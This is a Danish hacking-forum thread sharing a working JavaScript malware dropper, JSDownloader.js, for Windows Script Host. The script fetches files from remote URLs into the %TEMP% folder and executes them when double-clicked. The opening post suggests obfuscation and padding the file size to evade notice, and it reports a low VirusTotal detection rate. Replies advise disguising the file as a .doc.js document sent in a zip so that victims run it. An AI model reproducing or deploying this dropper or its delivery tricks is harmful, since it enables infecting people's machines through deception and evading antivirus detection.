Tråd bedømmelse:
  • 0 Stemmer - 0 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
Javascript Download+Execute
11-07-2016, 17:36
#1
Javascript Download+Execute
Eftersom vi allerede har en tråd omhandlende infektion med batch liggende her:
https://www.shellsec.pw/traad-simpelt-fu...le-dropper
Tænkte jeg, at jeg lige så godt kunne dele dette javascript - script...

Det sidste stykke tid er der dukket en del artikler op, der handler om inficering ved hjælp af Javascript-filer.
Her er et eksempel fra v2: https://www.version2.dk/artikel/sophos-r...ler-737254

Disse scripts køres altså ikke på nettet, men til gengæld på maskinen selv, ved hjælp af Windows Script Host.

Nedenstående script vil downloade og køre Putty.exe samt Demystifying_Google_Hacks.doc(Hvis man har et program, såsom Word, til at håndtere filtypen), når der dobbelt-klikkes på det.
Jeg tror ikke scriptet behøver videre forklaring, da det absolut giver sig selv. Der er ikke mulighed for at ændre ikon, som vi kender det fra eksekverbare filer, men jeg tror stadig den 'mindre kendte' filtype/endelse opvejer den negativ.

JSDownloader.js
Kode:
var activeX= this['ActiveXObject'];
var wShell = new activeX('WScript.Shell');
var cObject = WScript.CreateObject('MSXML2.XMLHTTP');

hentFil('http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe', gemSom('putty.exe'));
hentFil('http://www.infosecwriters.com/text_resources/doc/Demystifying_Google_Hacks.doc', gemSom('doc.doc'));

function hentFil(fil, mappe){
cObject.Open('GET', fil, false);
cObject.Send();

if (cObject.Status == 200)
{

    var Stream = WScript.CreateObject('ADODB.Stream');

    var i = Stream.Open();
    var o = Stream.Type = 1; // adTypeBinary
    var u = Stream.Write(cObject.ResponseBody);
    var y = Stream.Position = 0;

    var File = WScript.CreateObject('Scripting.FileSystemObject');
    if (File.FileExists(mappe))
    {
        File.DeleteFile(mappe);
    }

    Stream.SaveToFile(mappe, 2); // adSaveCreateOverWrite
    Stream.Close();
    
    var objShell = new ActiveXObject("WScript.shell");
    objShell.run(mappe);
    }
}

function gemSom(filNavn){
    var tempMappe = wShell['ExpandEnvironmentStrings']('%TEMP%') + '/';
    return tempMappe + filNavn;
}


Mulige forbedringer og bemærkninger:
- Man kunne i stedet køre en loop hvis der skal hentes flere filer
- Man kunne bruge obfuscation, da dette er trivielt nemt i Javascript
- Man kan pumpe filstørrelsen, så den stemmer mere overens med et normalt dokument

6/55 på VirusTotal:
https://virustotal.com/da/file/93d421adc...468251292/
(23-10-2015, 21:59)bestworks Skrev: Hope you are best customer and we can to work a long time business
Find alle beskeder fra denne bruger
Citer denne besked i et svar
11-07-2016, 21:13
#2
RE: Javascript Download+Execute
Bliver det kørt på maskinen der hoster det? Ergo hvis jeg har en XMPP server kørende på min PC og en anden på netværket kører det overstående script, så bliver det eksekveret på min maskine, da det er hosten? Eller bliver det eksekveret på personens egen PC?

Jeg får i hvert fald en "activeX is not a constructor" fejl når jeg prøver. activeX er også undefined.
yolo
Find alle beskeder fra denne bruger
Citer denne besked i et svar
11-07-2016, 21:28 (Denne besked var sidst ændret: 10-06-2017, 17:01 af MalcolmXI.)
#3
RE: Javascript Download+Execute
Du kører det som du ville køre en .exe. Ved at dobbelt-klikke på filen.
Så køres scriptet i Windows Script Host, som køres lokalt.

Nu er det nok de færreste der har valgt Ikke at skjule endelserne på kendte filtyper, så hvis du navngiver filen f. eks. JSDownloader.doc.js, vil de fleste maskiner se den som JSDownloader.doc.
Så kan den sendes i f. eks. en zip-fil, som dog ikke skjuler endelsen. Har læst mig frem til, at det er sådan det normale MO er.
(23-10-2015, 21:59)bestworks Skrev: Hope you are best customer and we can to work a long time business
Find alle beskeder fra denne bruger
Citer denne besked i et svar
11-07-2016, 22:28
#4
RE: Javascript Download+Execute
(11-07-2016, 21:28)MalcolmXI Skrev: Du kører det som du ville køre en .exe. Ved at dobbelt-klikke på filen.
Så køres scriptet i Windows Script Host, som køres lokalt, og ikke er begrænset af SOP.

Nu er det nok de færreste der har valgt Ikke at skjule endelserne på kendte filtyper, så hvis du navngiver filen f. eks. JSDownloader.doc.js, vil de fleste maskiner se den som JSDownloader.doc.
Så kan den sendes i f. eks. en zip-fil, som dog ikke skjuler endelsen. Har læst mig frem til, at det er sådan det normale MO er.

Aahh right okay, så man gemmer en .js fil og kører den.

Smart smart. Der skal nok være nogen der falder for den.
yolo
Find alle beskeder fra denne bruger
Citer denne besked i et svar
03-06-2017, 18:41
#5
RE: Javascript Download+Execute
Her er et eksempel med indlejring af payload, samt kørsel i hukommelsen:
https://www.uperesia.com/malicious-dropp...ack-vector
(23-10-2015, 21:59)bestworks Skrev: Hope you are best customer and we can to work a long time business
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)